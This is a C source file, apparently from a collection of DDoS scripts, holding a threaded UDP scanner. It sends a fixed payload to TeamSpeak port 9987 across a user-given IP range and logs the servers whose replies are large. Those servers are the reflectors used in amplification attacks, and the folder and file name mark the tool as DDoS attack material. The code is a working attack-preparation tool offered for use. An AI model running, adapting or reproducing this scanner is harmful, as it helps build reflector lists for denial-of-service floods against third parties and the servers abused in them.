Path: blob/master/DDOS Scripts/AMP YUBINA SCRIPTS/ts3_amp.c
4607 views
/* Script make AnonnPL, look at TeamSpeakCrack.com */1#include <pthread.h>2#include <unistd.h>3#include <stdio.h>4#include <stdlib.h>5#include <string.h>6#include <sys/socket.h>7#include <netinet/in.h>8#include <signal.h>9#include <sys/time.h>10#include <sys/types.h>11#include <math.h>12#include <ctype.h>13#include <errno.h>14#include <arpa/inet.h>15#include <netinet/ip.h>16#include <netinet/udp.h>1718volatile int running_threads = 0;19volatile int found_srvs = 0;20volatile unsigned long per_thread = 0;21volatile unsigned long start = 0;22volatile unsigned long scanned = 0;23volatile int sleep_between = 0;24volatile int bytes_sent = 0;25volatile unsigned long hosts_done = 0;26FILE *fd;27char payload[] = "\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02";28size = 13;2930void *flood(void *par1)31{32running_threads++;33int thread_id = (int)par1;34unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));35unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));36unsigned long w;37int y;38unsigned char buf[65536];39memset(buf, 0x01, 1);40int sizeofpayload = 1;41int sock;42if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {43perror("cant open socket");44exit(-1);45}46for(w=ntohl(start_ip);w<htonl(end);w++)47{48struct sockaddr_in servaddr;49bzero(&servaddr, sizeof(servaddr));50servaddr.sin_family = AF_INET;51servaddr.sin_addr.s_addr=htonl(w);52servaddr.sin_port=htons(9987); //PORT TO SCAN53sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));54bytes_sent+=size;55scanned++;56hosts_done++;57}58close(sock);59running_threads--;60return;61}6263void sighandler(int sig)64{65fclose(fd);66printf("\n");67exit(0);68}6970void *recievethread()71{72printf("\n");73int saddr_size, data_size, sock_raw;74struct sockaddr_in saddr;75struct in_addr in;7677unsigned char *buffer = (unsigned char *)malloc(65536);78sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);79if(sock_raw < 0)80{81printf("Socket Error\n");82exit(1);83}84while(1)85{86saddr_size = sizeof saddr;87data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);88if(data_size <0 )89{90printf("Recvfrom error , failed to get packets\n");91exit(1);92}93struct iphdr *iph = (struct iphdr*)buffer;94if(iph->protocol == 17)95{96unsigned short iphdrlen = iph->ihl*4;97struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);98unsigned char* payload = buffer + iphdrlen + 8;99if(ntohs(udph->source) == 9987) //PORT TO SCAN100{101int body_length = data_size - iphdrlen - 8;102103if (body_length > 40)104105{106found_srvs++;107108fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);109fflush(fd);110111}112113}114}115116}117close(sock_raw);118119}120121int main(int argc, char *argv[ ])122{123124if(argc < 6){125126fprintf(stdout, "Usage : %s [START IP RANGE] [END] [.txt] [THREADS] [DELAY] \n", argv[0]);127exit(-1);128}129fd = fopen(argv[3], "a");130sleep_between = atoi(argv[5]);131132signal(SIGINT, &sighandler);133134int threads = atoi(argv[4]);135pthread_t thread;136137pthread_t listenthread;138pthread_create( &listenthread, NULL, &recievethread, NULL);139140char *str_start = malloc(18);141memset(str_start, 0, 18);142str_start = argv[1];143char *str_end = malloc(18);144memset(str_end, 0, 18);145str_end = argv[2];146start = inet_addr(str_start);147per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;148unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));149int i;150for(i = 0;i<threads;i++){151pthread_create( &thread, NULL, &flood, (void *) i);152}153sleep(1);154printf("Scan in Progress \n");155char *temp = (char *)malloc(17);156memset(temp, 0, 17);157sprintf(temp, "IP Found");158printf("%-16s", temp);159memset(temp, 0, 17);160sprintf(temp, "IP/s");161printf("%-16s", temp);162memset(temp, 0, 17);163sprintf(temp, "Byts/s");164printf("%-16s", temp);165memset(temp, 0, 17);166sprintf(temp, "Threads");167printf("%-16s", temp);168memset(temp, 0, 17);169sprintf(temp, "Percent");170printf("%s", temp);171printf("\n");172173char *new;174new = (char *)malloc(16*6);175while (running_threads > 0)176{177printf("\r");178memset(new, '\0', 16*6);179sprintf(new, "%s|%-15lu", new, found_srvs);180sprintf(new, "%s|%-15d", new, scanned);181sprintf(new, "%s|%-15d", new, bytes_sent);182sprintf(new, "%s|%-15d", new, running_threads);183memset(temp, 0, 17);184int percent_done=((double)(hosts_done)/(double)(toscan))*100;185sprintf(temp, "%d%%", percent_done);186sprintf(new, "%s|%s", new, temp);187printf("%s", new);188fflush(stdout);189bytes_sent=0;190scanned = 0;191sleep(1);192}193printf("\n");194fclose(fd);195return 0;196}197198